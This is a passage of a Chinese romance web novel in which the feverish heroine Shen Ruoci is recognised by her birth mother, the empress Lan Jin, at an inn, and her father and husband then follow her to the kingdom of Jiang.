就在她哭累了准备回到床上时,就听隔壁也传来断断续续的哭声。沈若辞心中一惊,拥着被子靠在墙上,这样一来,声音更清晰了。 只听一女子叹了一声,语重心长地劝解,“您不要再哭了,担心哭坏眼睛。到时候就算找到女儿,看不见她长什么样,可如何是好?” 那位夫人轻声回道,“要是能找到她,就算要我瞎了聋了,我也是愿意的。” 那女子道,“您说什么呢,您自己不在乎,就认为她也不在乎吗?天底下做子女的都希望父母平安健康,谁愿意看到自己的父母又瞎又聋呢!” 夫人听了她的话,苦笑一声,又道,“罢了,不找了。我出来太久了,是时候该回去了,收拾好东西明日就回吧。” 似是被她言语中的遗憾与不甘感染,沈若辞不由得想起自己素未谋面的母亲来。她是否也如这位母亲一样,无时不刻都在思念着自己。 她其实很想见生母一面,哪怕只看一眼,知道她长什么样,是否康健,也就心满意足了。 生病的人总是格外脆弱,她迷迷糊糊睡过去了,梦里都是母亲的影子,她追了一路,也哭了一路,始终没追上她。 翌日清晨,沈若辞好不容易睡熟了,袁妙莹就咚咚咚地拍着她的房门,“起来沈若辞,你给我开门!” 沈若辞头痛得紧,被敲门声惊醒后,强撑着身子起来开门。 哪知门刚打开,袁妙莹劈头盖脸对她就是一顿指责,“还睡着啊!你倒好,夜里吵得别人没得睡,现在天亮了还睡得跟死猪一样。” 沈若辞披了一件衣裳靠在床头,无力地解释道,“我昨晚很早就上床睡了,哪里就吵到你了。” 这话一出,袁妙莹更是一肚子火,“娘娘娘!叫了一夜的娘,你有娘吗,谁不知道你就是个没娘的野种。” 沈若辞双颊泛着不正常的潮红,一双秀眉拢得紧紧的,一口气上不来又下不去,憋了半天才吐出几个字,“我不是野种。” 她没想到自己竟烧到说梦话了。 这病来得凶险,沈若辞清楚自己的身体状况。她熬不下去了,急需找个大夫看看,便开口请求道,“我想见袁子逸,麻烦你请他过来。” 袁妙莹只冷冷地看着她,见她摆出一副柔弱可欺、楚楚可怜之态,心下十分鄙夷,“你这副模样,叫我哥过来是想勾引他吗?我告诉你,一早我们兄妹俩就吃过早饭,眼下他出去办事了,一时半会回不来,你就死了这条心吧。” 当初沈若辞害她被送到道观里受了半年的苦,这半年里,她皮肤晒黑了,手掌变粗糙了,容颜也不复当初精心保养的美貌。而她这个罪魁祸首在宫里养尊处优,一身皮肉滋养得柔嫩细腻,吹弹可破。 袁妙莹看在眼里十分眼红,眼红得嫉妒。 沈若辞饥肠辘辘,却因口干舌燥没有半点胃口,她再次请求袁妙莹,“妙莹,我生病了,麻烦你们给我请个大夫。” “请大夫?”袁妙莹一双眼睛在她身上来回看了两遍之后,才瞧出点异常,看来确实是生病了,她不由得幸灾乐祸起来,“就算真的生病了,那也得等我哥回来。你是他的人,我可不敢随便做主。” 沈若辞抿了抿唇,纠正她的话,“我不是他的人,我有夫君的。我并不想离开他,是你哥强行带我出来的。” 元栩才是她的夫君,袁子逸什么都不是。他就是骗子,一个彻头彻尾的骗子。 袁妙莹哂笑道,“你觉得他还会要你不成?跟我们出来这一遭,就算我哥他不敢碰你,你也是不清白的。” 话说完后,她一脸嫌弃地起身走到门口打算离开,生怕沈若辞将病气过给她。 沈若辞没有心思与她争辩,见她要离开,虚弱地说道,“帮我把门带上。”她已经没有力气自己去关门了。 袁妙莹砰的一声将门关上,屋中恢复了宁静。 这通动静过后,隔壁房间里那位夫人轻轻叹了一口气,“文君,你听原来是生病了,难怪昨天夜里说了一通胡话。” 那一声声娘啊、娘啊地叫着,叫得她的心都要跟着融化了。 文君惋惜道,“她有夫君的,这兄妹俩怎么还把她一起带出来啊。带出来就算了,还被这么对待,也是可怜。” 她想了想又说道,“想必是那男子见她美貌,起了色心,强行将人拐了出来!” 那位夫人不置可否,只道,“文君,你会医术,我们过去给她瞧瞧吧。” 文君正有此意,立马就应了下来。 二人来到沈若辞房门口,文君抬头看了一眼夫人,伸手敲门,“姑娘,我们可以进去吗?” 烧了一夜,沈若辞已开始犯起糊涂来,听见敲门声就下意识回道,“请进。” 文君推开门,等那位夫人进去后,才紧随其后进入屋中。 此时沈若辞闭着眼睛躺在床上,身上只盖着一张薄薄的被子。夫人走到床边,将床尾处的被子拿上来盖到沈若辞身上。 文君替沈若辞把了脉,面色一时凝重起来,“受了寒,没有及时医治,拖到现在高热,需马上用药。” 夫人跟着紧张起来,“你赶紧写药方,叫人去拿药。” 文君离开后,夫人将沈若辞的手放回被窝里,这才发现她的内衫都已被汗水浸湿。 她折回自己屋中拿了一身干净的衣裳过来,等文君回来后,就让她给沈若辞换上。 文君解开沈若辞的衣带,露出绣着梅花的杏色小衣,小衣下裹着盈盈两团白玉,瞧着甚是可观,她抿嘴一笑,“您看这小姑娘不止跟您一样貌美,连身段也跟您一样,一顶一的好。” 文君被瞪了一眼之后,才老老实实地替沈若辞换了中衣。等换完衣裳后,扶着人躺下,目光又被那张诱人的小脸吸引过去,连连看了几遍,越看越觉得世间少有的美貌。 “陛……夫人,您觉不觉得,这姑娘的眉眼,跟您还有几分相似呢。” 那夫人垂眸去看沈若辞的脸,她从昨日在楼下见到沈若辞时,就已经发觉这姑娘长得十分亲切,好似在哪里见过一般。 她只沉默地看着,并未回答像与不像。 门外一年轻女子端了药进来,恭敬道,“夫人,药已煎好晾凉,可以喝了。” 文君叫醒了沈若辞,将她人从床上扶起来。此时沈若辞烧糊涂了,已然没有了思考能力,眼皮子又酸又重,全程闭着眼睛任由文君一勺一勺给她喂药。 等药喝完了,沈若辞嘴里发苦,浑身乏力,脑子里像刀割一般钝痛,恍恍惚惚地喊着,“阿爹,沿沿好辛苦,好难受……” 话音未落,那夫人惊惕不定地望向文君,“文君,她说什么……” 文君显然也听见“沿沿”二字,脸上同样露出了讶异之色。 那夫人努力保持镇定,声音仍带着几分微不可察的颤抖,她握着沈若辞的一只手将她唤醒,“你说……你叫什么?” 沈若辞回答得极慢,一字一顿,“沈、若辞。” 那夫人急急打断她的话,“不,不是这个,什么沿沿……” 沈若辞无意识地答着,“嗯,沿沿是我的小名,沿是沿袭、沿续的沿,我姓沈,叫……” 越往后边,声音越小,到最后完全睡了过去,不再发出半点声音来了。 姓沈,小名又叫沿沿,天底下不可能有这么巧合的事情。 那夫人神色突变,眼神凌厉地望向文君,“你说实话,这姑娘是不是你们故意安排的,就为了骗我?” 文君犹在震惊,足足愣了半晌,才大喊冤枉道,“您这也太高看我了,我哪里能策划这么一出大戏给您看呢!她病成这个样子,还能是装的不成?” 那夫人凝着沈若辞的脸,见她双颊通红,眉头紧锁,俨然神志不清。的确是生病烧糊涂了才有这般症状,这点很难能装得出来。 想通这一点,她心头又重燃起期盼,“快,扶她起来,我看看她的背。” 第94章 当年她那位好兄长听信奸人谗言, 不顾二十年的兄妹情,一心想要置她于死地。她历经千辛万苦生下女儿,到头来只相处了三天, 就忍痛将孩子送了出去。 那三天里,她日日夜夜抱着孩子, 内心有多不舍得,有多担忧心疼, 她这辈子无法忘记。 在她决定将孩子送走后,为了日后相认, 她仔仔细细地检查了孩子身上的特征,发现她周身光洁无暇, 只后腰处接近右臂的地方有两颗小小的痣。 这两颗痣的位置, 在她被幽禁的这十六年里, 每一天都记挂着, 没有一天能忘记。 文君依言将沈若辞抱起来,又将刚穿上的中衣褪至腰间, 果然看到在她脑中所想的那处位置上, 赫然并排着两颗胭脂痣。 “陛下!”出门在外,文君惊得已然忘了要喊“夫人”,而非“陛下。” 那夫人也未曾注意到称呼问题,一双凤眸紧紧地盯着那两颗痣, 而后扶着额头,颓然跌坐在床沿上。 二人皆流着泪,默默地注视对方, 又默默地将目光落在那两颗小痣上。 大哭了一场之后,这才回过神来,“快给沿沿穿好衣裳。” 文君眼泪流个不停, 嘴里念念叨叨,“真的是公主,真的是公主……”当年这孩子是她接生的,这两颗痣长在哪里,她记得一清二楚。 等沈若辞睡下后,文君擦了擦眼泪,既心酸又欣慰,“皇天不负有心人,恭喜陛下终于找到公主。” 那夫人笑意渐渐淡去,目光仍慈爱地落在沈若辞身上。此时巨大的幸福感让她隐约生出不真实感来,她轻抚着沈若辞娇嫩的面颊,柔声道,“还是等沿沿醒来了,亲口问问她爹的情况才好确认,就怕是白开心一场……” 话说完眼泪又情不自禁地掉下来。 文君见状起身来到她身旁,将人搂在怀里,安抚道,“陛下,您别想太多。我有预感,她就是沿沿,是我们的小公主。这些年您已经够苦了,如今能找到公主,只是老天把她还给您,而非老天对您的恩赐,您无需诚惶诚恐。” 文君口中的陛下,正是当今姜国的女皇兰瑾。 兰瑾年轻时女扮男装,替兄长前往大魏当质子,一个人忍辱负重两年有余。哪知后来历尽千难万险回到姜国,结果没得到半句感激之言就算了,他那位平庸的兄长就因有臣子夸她女中尧舜,便对她起了杀心。 在所有人都以为她死了的时候,兰瑾忍辱负重,才换来一个苟且偷生的机会。 十六年,她足足被幽禁了十六年。 这十六年来她并没有自暴自弃,她一直蛰伏着等待机会,终于靠自己的能力得到了皇位。期间的坎坷与辛苦,又岂是一两句话就能说清的? 所幸如今女儿就在眼前,兰瑾又觉得这一路走来的苦楚都不算什么。她的沿沿已经长成一个亭亭玉立的小姑娘,如此美貌,又如此讨人喜欢。 沈若辞中途醒来一次,她昏昏沉沉地喊着要喝水。文君端来温水,兰瑾亲手抱起沈若辞,接过水来,一口一口地喂她喝下。 喝完一小杯水后,兰瑾把水杯递给文君,将沈若辞放回床榻上,伸手将她额前一缕碎发别至耳后,见她微微掀开一点眼皮,关切道,“沿沿,是不是还很难受?” 沈若辞意识混混沌沌,瞧着眼前人以为自己仍在梦中,她声音微微沙哑,带着试探的语气,“你是我阿娘吗?” 她犹记得昨夜的梦,梦中跟着一人的背影喊了一路的娘,奈何那人始终没有回头。眼下见到人突然出现在眼前,还如此温柔地关心她,沈若辞心中泛起阵阵的暖意。 她伸手,手指落在她精致的眉眼,一点点地描摹着,片刻之后,轻道了一声,“您真好看”,而后手臂无力地垂下。 兰瑾感受着女儿手指的温度,早已泣不成声,哽咽不安地问道,“沿沿,你怪娘吗?” 沈若辞只勉强睁开眼睛看了她一小会,又缓缓地闭上眼睛睡了过去。 盛京。 元栩已经两天没有合眼了,眼下盛京表面风平浪静,实则暗流涌动,就等着他露出点破绽,薛太后那头随时有可能起兵谋反。 这天他如常上朝,听取官员汇报一应事务,处理完几个紧急要务后,眼见大臣们无事可禀,便挥退众人下朝去了。 甫一下朝,便急急唤来岳常安,问起沈相那头可有消息传回。 见岳常安憋了半天说不出一句话来,他心中就已明了,淡声道,“下去吧。” 岳常安拧着眉头走出殿门,迎面就撞见薛展松大步走来。 薛展松眼底猩红一片,眼神依旧凌厉,目光如炬,“岳公公,老臣要见皇上。” 龙泽殿内,薛展松跪在地上,声音中气十足,“老臣参见皇上。” 元栩睨着他低垂的头颅,要不是忌惮他手中的兵权,他早该出京去寻沈若辞。而非像现在,只能在殿中如坐针毡地等着别人送消息回来。 纵使心中对他颇多怨言,元栩仍保持语气温和,“薛老将军请起。” 他关怀道,“不知聪儿身子如何了?” 听皇帝提到孙儿,薛展松神色柔和了许多,“多谢皇上关心,聪儿得到及时医治后已无生命危险,只需卧床静养一段时日便可恢复。皇上此番派多名御医前去薛府救治聪儿,臣感激不尽。” 元栩微微颔首,他心中虽对薛展松有所不满,但孩子终究是孩子,他还是希望聪儿能平安。 “老臣还有一事。”薛展松从袖中取出一漆盒,翻开盖子,盒内躺着一枚虎符,正是薛家的兵符。 他将漆盒恭恭敬敬地置于元栩面前。 “老臣年事已高,今日特来交还虎符,愿皇上另择猛将护我大魏河山。” 元栩只看着那枚虎符,却未伸手去接。良久,从他口中听到二字,“为何?” 薛展松坦诚道,“老臣狭隘,大魏得此帝后,薛家日后何惧手里无牌身陷困境!” 元栩眼中在此时起了一丝波澜,“薛老将军可想好了,兵符一旦交出来,就再没有拿回去的道理。” 薛展松语气无比坚定,“皇上放心,老臣已经过深思熟虑,绝非一时兴起。臣感恩娘娘恩情,望皇上早日寻回娘娘,臣方能安享天伦之乐。若娘娘有个万一,臣定会以死谢罪。” 元栩道,“如此,朕便收下了。” 薛展松又向元栩拱了拱手,“老臣还要向皇上告假一个月,接下来臣决定谢绝宾客,闭门不出,将全部心力用来照拂孙儿。” 元栩朗声道,“准。” 薛展松转身告退,仿佛卸下了千斤重的担子,脚步竟意外轻快起来。他这些年错过太多与至亲相处的时光,今后要慢慢弥补回来。 薛展松离去后,元栩如释重负地松了一口气。他将兵符握在手中,一时间悲喜交加。 他确实忌惮薛展松手里的兵权,但也无法否定薛家这几十年来为大魏流的血泪。 如今薛家没了兵权,就靠元赫那点兵力,就算薛太后野心再盛,也无法再兴风作浪。元栩将朝廷的事暂时托付给元琛,便带着一队人马沿着沈墨留下的线索一路追踪过去。 袁妙莹自早上数落了沈若辞一通之后,就回去自己房里睡觉,一直睡到下午被饿醒了。起床后她见袁子逸还没回来,便叫小二送饭上来。吃饱喝足之后,才想起沈若辞要她请大夫一事。 她虽恨极了沈若辞,但到底害怕袁子逸要责骂她,也只好不情不愿地过去看她。 房间里兰瑾与文君心疼沈若辞,做什么事都小心翼翼,生怕吵到沈若辞休息。 哪知此时袁妙莹却将门拍得劈啪作响,文君赶紧起身去开门。 门从里边被打开,袁妙莹看到是陌生人来开门,没好气地问道,“你是什么人,怎么在她房间里?”说着推了文君一把,径直走入房中。 袁妙莹进屋时就闻到药味,见沈若辞仍睡着,昨日楼下遇到的那位妇人正坐在她的床沿上,心中隐约有了猜测,“是她要你们帮忙请大夫的?” 见对方并不回答她话,她嘲讽道,“你们可真是狗拿耗子多管闲事!” 兰瑾听出她语气中的挑衅,目光凉凉地看向袁妙莹,“早上就是你在沿沿房间里,说她是没娘的野种,对不对?” 袁妙莹傲慢地轻笑一声,“是又怎么样,我不过是说实话。她爹这么多年来都未曾成亲,却带着这么一个女儿,不是野种,是什么?” 兰瑾骤然抬眸,目光沉沉地落到袁妙莹脸上,“你听清楚了,她不是你口中的野种。她有娘,我就是她的生母。” 袁妙莹被她看得不寒而栗,但见她一介柔弱妇人,又觉得不过如此,没什么可怕的,便嘴硬道,“有娘又怎么样,左右都是来路不明。” 见她死不悔改,兰瑾也无需继续忍让,“我们兰家是姜国的名门望族,你今天惹到我,算是踢到铁板了。” 兰瑾一个眼神下去,门外几个侍卫立即就上来塞了袁妙莹的嘴,又绑住她的手脚,叫她动弹不得。 在袁妙莹倒在地上不停地挣扎时,床上的沈若辞终于醒过来了。她缓缓地睁开眼睛,头脑仍有些迟钝,一双水润的眸子正呆呆地望着床顶。 兰瑾喜出望外,压抑着胸中激荡的情绪,轻声唤了一句“沿沿。” 见她半天没有反应,兰瑾忧心忡忡地向文君求助。文君立即伸手抚向沈若辞的额头,探了一会温度,欢天喜地地说道,“谢天谢地,退热了。” 兰瑾这才放下心来。 沈若辞双眸聚焦,眼神渐渐清明起来。缓了好一会,她才彻底清醒过来,醒来第一眼就是看向兰瑾,声音带着几分惊讶,“夫人,您怎么在我房里?” 兰瑾听她开口说话,眼泪瞬间夺眶而出,“沿沿,我不是夫人,我是你娘,是你的生母!” 第95章 沈若辞茫然地抬眸, “夫人,您怎么知道我叫沿沿?” 当年忍痛割爱将出生才三天的女儿送出去,那般割心剜肉的痛, 兰瑾至今仍记忆犹新。她哽咽道,“ 因为“沿”字就是我取的, 是我一针一线亲手绣在你穿的小肚兜上,然后才把你送到你父亲手上……” 沈若辞原本只是问小名的事, 但此时听兰瑾提起肚兜上绣的“沿”字,她猛地瞪大眼睛, 脑中更是嗡嗡作响,强忍着不适坚持要坐起来。 文君见状赶忙来扶她, 沈若辞顾不得旁事, 她手指冰凉, 只紧紧抓着兰瑾的衣袖, 急切地问道,“绣、绣在何处, 您还记得?” 兰瑾如何会忘记呢, 她记得一清二楚,“‘沿’字,绣在小肚兜的右下角,用肚兜同色的丝线绣出来的。我不擅长针线活, 绣得并不好看” 沈若辞迟缓地眨了一下眼睛。那件红色小肚兜,至今仍完好地存放在她闺房里,除却父亲, 没人知道此事。 而沈墨对她说的则是:人生第一件衣裳,留着做个纪念。 那时沈若辞不疑有他,更不曾想到这件普通的小肚兜, 竟是她心心念念十几年的生母亲手缝制。 尽管心中焦躁不已,碍于受发热影响,沈若辞语速还是很慢,“您是如何确定,我是您的女儿?” 兰瑾手心早已被汗湿透,她努力保持平静的语调,“你的小名叫沿沿,又姓沈,跟他一个姓……”这个他,自然指的是沈墨,“最重要一点是你后腰处那两颗胭脂痣,我记了十来年,没有一天不念、不想,绝对不会记错。” 沈若辞想起元栩每回从后边要她的时候,总喜欢用手指捻着她后腰处,说什么她通体莹白,腰间这两颗胭脂痣恰似锦上添花,凭添一抹冶艳之美。她学不来那满口胡话,但也曾到铜镜前看过自己身上这两颗痣。 见沈若辞犹自低头沉思,怕她不信,兰瑾又补充道,“你父亲,右臂上有一块铜钱大小的胎记。” 沈若辞蓦然抬头,虽无回应,但从她的眼神能看出这点也对上了。 如今该问的都问了,该确认的也都清楚了,兰瑾将呼吸放得极轻,目光定格在沈若辞的脸上,试图捕捉她内心的想法。 可已经知晓真相的沈若辞面上无喜无悲,无怒无乐,只木讷地开口,“您真是我娘吗?” “真的是我娘?” “我娘原来这么好看。” 她一连说了几句之后,接下来便一直机械反复地念着,脸色更是红一阵白一阵,看兰瑾心惊不已。 此时兰瑾既担忧又愧疚,既想亲近她又怕她排斥自己。她从未如此时这般手足无措,只敢默默垂泪看她,却不敢有任何动作。生怕只要自己一出声,就会再次面临失去女儿的困境。 孱弱的身躯终是受不住情绪跌宕起伏带来的冲击,沈若辞强忍着眼泪口齿不清地发泄了一顿以后,身子便软绵绵地朝一旁歪去,再无声音发出。 “沿沿!”兰瑾眼疾手快地接住沈若辞,而后将人搂在怀中,“文君,你快看看沿沿,她怎么了……” 文君将人放平在床榻上,伸手号脉,又查看沈若辞的眼睛,安抚道,“公主没事,就是一时情绪激动身子受不住,缓一会就好了。” 兰瑾盯着沈若辞看了一会,忧心忡忡地问道,“文君,沿沿是不是在怪我,她不想认我这个母亲,是不是?” 就方才沈若辞的反应来看,文君也不好说是与不是,“陛下,公主还病着呢。咱们先不要急,当务之急是让公主好好养病,尽快恢复身子才是。” 兰瑾恍然道,“文君,你说的是。沿沿还病着,我怎么就忘了呢。怪我,是我太心急了。” 文君不禁松了一口气,笑道,“是。” 一刻钟后,沈若辞悠悠醒转。兰瑾没有再纠结她认不认自己的事,柔声问道,“沿沿饿不饿啊?你文君姨亲自去厨房煮了粥,端来给沿沿吃好不好?” 沈若辞一整日颗粒未进,正饿得前胸贴后背,她乖巧地点了点头,由文君扶着坐起来靠在床栏上。 兰瑾端来煲得软烂馨香的肉粥,一勺一勺地喂到沈若辞口中。母女二人都安安静静的,谁也没有开口。文君静静看着眼前这一幕,眼眶莫名发酸发热。 吃完粥后,沈若辞又喝了药,兰瑾赶紧将一颗蜜饯送入她口中,“你文君姨开的药最苦了,赶紧吃个甜的压压苦味。” 沈若辞今日竟不觉得药苦,她慢吞吞地嚼着蜜饯,心都是甜的。 吃完蜜饯后,沈若辞小心翼翼地问道,“阿娘,沿沿可以抱抱您吗?” 兰瑾脑中一片空白,喉咙发紧,指尖轻颤着,身体的所有反应都被清晰地放大数倍。 见母亲露出惊诧的神色,迟迟没有做出反应,沈若辞赧然道,“沿沿生病了,阿娘是不是介意?” “不是……”兰瑾一遍又一遍地摇头,“阿娘不介意,阿娘开心还来不及,又怎么会介意呢!阿娘就怕沿沿怪我,怪我当年送走你。” 兰瑾伸手将沈若辞抱入怀中,她的沿沿,她的至爱,她那被岁月夺走十七年的小闺女,终于完完整整地回到她的身边。 沈若辞依偎在兰瑾身上,听她讲起当年是如何与她爹相识,又如何生下她并在绝境中将她送走。 在兰瑾口中,那长达十六年的幽禁不过是一口带过,之后登上皇位的艰辛也是简单的两句话就能概括。沈若辞听得泪流满面,深知母亲这些年来的不易。她心疼还来不及,哪里有怪她的道理。 她紧紧地拥着兰瑾,贪婪地享受着别人一出生就拥有,而她从未得到过的温暖怀抱,“沿沿好喜欢阿娘啊,好喜欢好喜欢……” 她软软的身子在兰瑾怀里钻啊钻啊,兰瑾顿时觉得这半生的苦难,在这一刻都随风而去,她全然释怀了。 那头袁子逸早上出门去打探消息、置办物资,忙到傍晚才回来。他敲了敲袁妙莹的门,见里边没有动静,又直奔隔壁房间找沈若辞。 袁子逸站在沈若辞房门口等她开门时,无意间瞥见对面房门大敞,里边坐着几个轻壮男子正用警惕的眼神盯着自己。他内心不由得腾起一阵不安,又猛敲了敲门板。 门被敲开,见开门的不是沈若辞,进到房中后又见床上沈若辞依偎在一个陌生妇人怀里,一时愤怒不已,“夫人什么意思,为何擅自来到我们房中?” 兰瑾已从沈若辞口中得知女儿并非自愿被袁子逸从盛京一路带至此处,她冷冷回道,“你们?你跟我的沿沿是什么关系?” 袁子逸脸色铁青,“我是她的未婚夫。” 沈若辞如今恢复记忆了,对袁子逸当年骗她一事已了然于心。也幸亏有元栩横插一脚,否则她跟袁子逸的事若是真成了,她都无法想象自己恢复记忆后发现这个谎言,要如何去面对这段婚事。 那得是多绝望的处境啊! 沈若辞忿忿不平地反驳,“阿娘,他不是。我成亲了,但他不是我夫君。” 作者有话说:元旦快乐[烟花] 第96章 听沈若辞一针见血地戳破他的谎言, 袁子逸瞳孔微缩。 兰瑾不欲与这种人多费口舌,“先回你房里呆着,拐走我女儿这笔账, 我自会与你慢慢算。” 袁子逸自然不会因他人两句话就这么轻易离开,他迅速伸手去拉沈若辞。哪知手掌未曾触及她一根毛发, 手臂就被兰瑾一挡一擒。不过眨眼的功夫,人就被推到在地上。 沈若辞当即挺直了背, 眼中满是钦羡之色,“阿娘, 您好厉害。” 她的娘亲真是又美又飒。 兰瑾莞尔一笑,“不过是年轻时学过一点皮毛, 上不了台面, 但对付这些登徒浪子仍绰绰有余。” 袁子逸跟袁妙莹一样被五花大绑, 兰瑾命人将他们兄妹二人关在一起严加看管。 袁子逸被兰瑾的侍卫带走之前, 沈若辞开口叫住了他。 “袁子逸。” 屋中响起沈若辞喊他的声音,袁子逸回头, 眼中有流露出几分意外的惊喜, 他立马屏住呼吸等沈若辞开口。 沈若辞与兰瑾对视一眼,嘴角的笑意半天都压不下去,她满面笑容地看向袁子逸,“你看, 我找到我阿娘了。” 人与人之间的悲喜并不相通。沈若辞急迫地想与人分享这份喜悦的心情,袁子逸自然无法共情,他勉强露出一个笑意, 却看起来比哭还难看。 夜里沈若辞躺在兰瑾怀中,脑中尚有不可思议的念头,觉得一切美好得不像是真实。她腻腻歪歪地缠着兰瑾撒娇, “娘,您真的是我娘吗?” 兰瑾昨日在客栈楼下初见女儿时,见她生得一副沉鱼落雁之貌,当场是有被惊艳到的。此时小姑娘正神色娇憨,稚气十足地反复问着傻话,这副模样更加惹人怜爱。兰瑾心潮澎湃,十几年来思念的苦楚都化为一腔的柔情。她抚摸着女儿的发顶,又凑过去亲了亲她的眉心,无比珍视道,“我真是沿沿的娘亲,如假包换。” 沈若辞腻在母亲的怀中,一遍又一遍地唤着娘亲,恨不得将过去十七年来未曾喊出口的那声“娘亲”一次性都叫回来。 三天后沈若辞的病已经恢复得七七八八,兰瑾准备出发回姜国。好不容易认回女儿,她自然不会再抛下她,决计要把沈若辞带回姜国去。 虽然心中挂念着父亲与元栩,但显然十几年未见的母亲更加重要,沈若辞没有反对跟着母亲回了姜国。 那头元栩出京后沿着沈墨的路径一路南下,不出几日便与之会合。 前几日沈若辞已派人去最近的望月楼递了消息,将自己正在南城客栈的事告知掌柜。翁婿二人一路追踪过来,路过望月楼的时候很快就得到沈若辞的消息。 可等元栩他们抵达南城时,只见到被看管起来的袁子逸兄妹二人,并未如愿找到沈若辞。 袁子逸见到元栩时,自知大限已至,他干脆破罐子破摔,幸灾乐祸道,“我不会告诉你她跟谁一起离开的,我得不到她,你也休想得到。” 元栩二话不说,提起剑直接将袁子逸捅了个对穿。袁妙莹当场吓得脸色煞白,语无伦次,“他不说,我说我说。沈若辞被她娘带走了,她跟她娘一起走的,我没有骗你们,我说的都是真的……” 元栩叫侍卫去通知官府的人过来收尸,顺带将袁妙莹带回衙门,等袁家人定罪后一并处置。 解决完袁家兄妹后,元栩要了个雅间,准备填饱肚子先。 沈墨的脸色比来之前更难看,他心事重重,饭菜上来后几乎没怎么动筷子。 元栩只当没看见,吃饱喝足放下筷子后,“沿沿的身世,沈相还想再继续隐瞒吗?” 如今沈若辞在兰瑾手里,沈墨知道事情已经到了无法逃避,不得不解决的地步了。他将事情全盘托出,“臣此前并不知道沿沿的生母仍尚在人世,也是等到她登基之后,才知晓这些年来她并没有遇害,只是被幽禁起来。” 元栩知道沈墨所言非虚,他之前有找人查过沈若辞的身世,只知道她的母亲是姜国人,倒是未曾想到便是那位姜国女皇。 沈墨继续说道,“孙肇前些年出使大魏的时候,是臣接待的他,他为人光明磊落,颇重义气,我俩一见如故。兰瑾登基后开始寻找沿沿,他并不知道我是沿沿的父亲,便写了信过来要我帮忙寻找公主。” 元栩立即联想到之前的事,“就是沈相吃下去的那封信?” 沈墨艰难地点了点头,没想到他极力掩盖的秘密,不到一年,就被自己亲口说了出来。 说到这里,事情已再清楚不过。沈墨无论如何都要去姜国见一见兰瑾。但元栩身份特殊,按理说他不该随意出大魏,他征询元栩的意见,“皇上要与臣一同前去姜国吗?” 元栩等的就是他这句话,“自然。为安全起见,朕不暴露身份,对外就称是您的手下。” 沈墨颔首。 沈墨来到姜国后,第一件事就是求见孙肇。在孙肇的引荐下,他如愿以偿来到兰瑾的行宫。 沈若辞跟兰瑾来到姜国后,暂未回到姜国的皇宫里,而是住进了行宫养病。 兰瑾早上在皇宫里处理完政务,下午赶过来行宫陪沈若辞,母女二人在花园里聊天晒太阳。 兰瑾知道沈墨为了女儿,迟早会找上门来,只是未曾料到他来得如此之快。 阔别十余年,原以为是天人相隔,再也见不的人,此时真真切切出现在眼前。沈墨如在梦中,浑身僵硬得就像块石头,脖子更像是被人摁住,压得他几乎无法呼吸。 他的阿瑾,如他无数梦境中所见,依旧年轻漂亮,未有半分变化。 他勉强缓过气来,“阿瑾……” 兰瑾望着眼前十几年未见的旧人,见他依旧风姿卓越,面冠如玉,气度较当年更为儒雅风致。 再见沈墨,兰瑾也只走神了一瞬。回过神来直接一巴掌甩在沈墨脸上,力气之大,打得他的脸当场偏过去,“沈续,我当年九死一生诞下沿沿,又历经重重磨难将她送到你手上,你就是这么对待她的?” 沈墨当年接了密令一路南下追捕出逃的姜国质子,他对外化名沈续,未曾暴露过自己真实的身份。因此时至今日,兰瑾才知道对方正是大魏朝廷中那位赫赫有名的沈相。 乍然听她叫自己沈续,沈墨心中骤时百感交集,仿佛回到了年少时与她同行的岁月,“阿瑾,这事是我的错。我向你道歉,向沿沿道歉,希望你不要再生气了。” 听他轻飘飘地说一句道歉,兰瑾哪里接受得了,她冷笑道,“你可知道,当日沿沿发着高热,一个人孤零零地躺在客栈的床上,连口热水都喝不上,更别提看病吃药了。要不是我出现得及时,她可能就、就凶多吉少了!你是怎么照顾她的,你今天绝对要当着我的面给我说清楚。不说清楚,我兰瑾绝不善罢甘休,你日后也休想再见我的女儿一面。” 不管兰瑾如何骂他,沈墨都能接受,毕竟此事确实是他不对,女儿确确实实是在他手里弄丢的。但若要他再也不见女儿,那是万万无法接受。 沈墨十几年来身边除了女儿并无其他女人,他现如今面对兰瑾的责备束手无策,一时竟不知该从何应对。 “沿沿……”沈墨望向兰瑾身后不远处的沈若辞,试图向女儿求助,想让她出面在兰瑾跟前求求情。 察觉到沈墨的意图,兰瑾更加生气,“你还敢看沿沿!我找大夫给她看过身体才知道她两年前中了毒,现在毒性虽去得差不多,但毒根未拔,留着迟早是祸患。沿沿如此惹人怜爱,你怎忍心让她受这么多苦!” 沈若辞生病一事一直是沈墨的心病,现在被兰瑾挑明了出来说,沈墨更加无地自容。他深知自己没有照顾好女儿,无力地合上眼皮,“你说得没错,我没有照顾好我们的女儿,是我该死。” 兰瑾撇过头去,“你现在不必看沿沿了,我已命人给她服下解药,这段时间里沿沿会失去从前的记忆,等毒性彻底去除后才会恢复,你就死了这条心吧。” 沈墨终于明白为何沈若辞对她一副冷淡的态度了,原是忘了他这位父亲。 元栩见这位贵为一国之主的丈母娘一路训斥沈墨,全程头都未曾抬一下。直至此时听到沈若辞再度失去记忆,才略显慌乱地朝她投去目光。见她双眸水润,粉颊娇媚,目光未曾在自己身上停留过,内心泛起一阵阵的失落感。 沈若辞坐在樱树下的秋千上,望着沈墨脸上红红的巴掌印,看着应该挺疼,她迟疑道,“大人说话小孩不能插嘴,就算你是我爹,我阿娘跟你说话的时候,我作为女儿也不好插嘴。” 沈墨“……” 那一巴掌下去,兰瑾心中仍觉得不解气,“还有,你究竟给女儿找的是什么窝囊废丈夫!堂堂一个大男人,能做到自己的妻子被其他男人拐走,真真是一点用也没有。” 话题陡然由岳父那边转移到自己身上,元栩不由得打了个冷颤,下意识挺直了背,提起十二分精神来。 沈若辞看着她的阿娘以超强的战斗力创飞这两人,心里莫名觉得解气。阿娘好强,她在心里暗暗地想。 就在元栩思考如何纠正这位姜国女皇对自己错误认知时,对方以极快的速度给他判了死刑,“沈续,你现在就回你们大魏去,把沿沿那位没用的丈夫给休了。我们姜国大把青年才俊,我会让沿沿好好挑,使劲挑,绝对要挑出比你选的那个强上一百倍的!” 沈若辞眨了眨眼,心道阿娘对她可真好!给她亲自挑,她定是要挑最好看的,挑最合自己心意的。 她犹在思索着挑什么样的丈夫,就察觉到一道极具压迫性的目光正紧紧盯着她。 沈若辞甫一抬头,就跟元栩的目光撞个正着,二人对视一眼,她风轻云淡地移开目光,心里想这人长得倒是挺好看的。 作者有话说:女皇:创飞沿爸,创飞女婿。 第97章 元栩正恨恨地盯着沈若辞, 耳边冷不防传来兰瑾不满的声音,“管好你的人,沿沿不是谁都可以看的。” 他望向兰瑾, 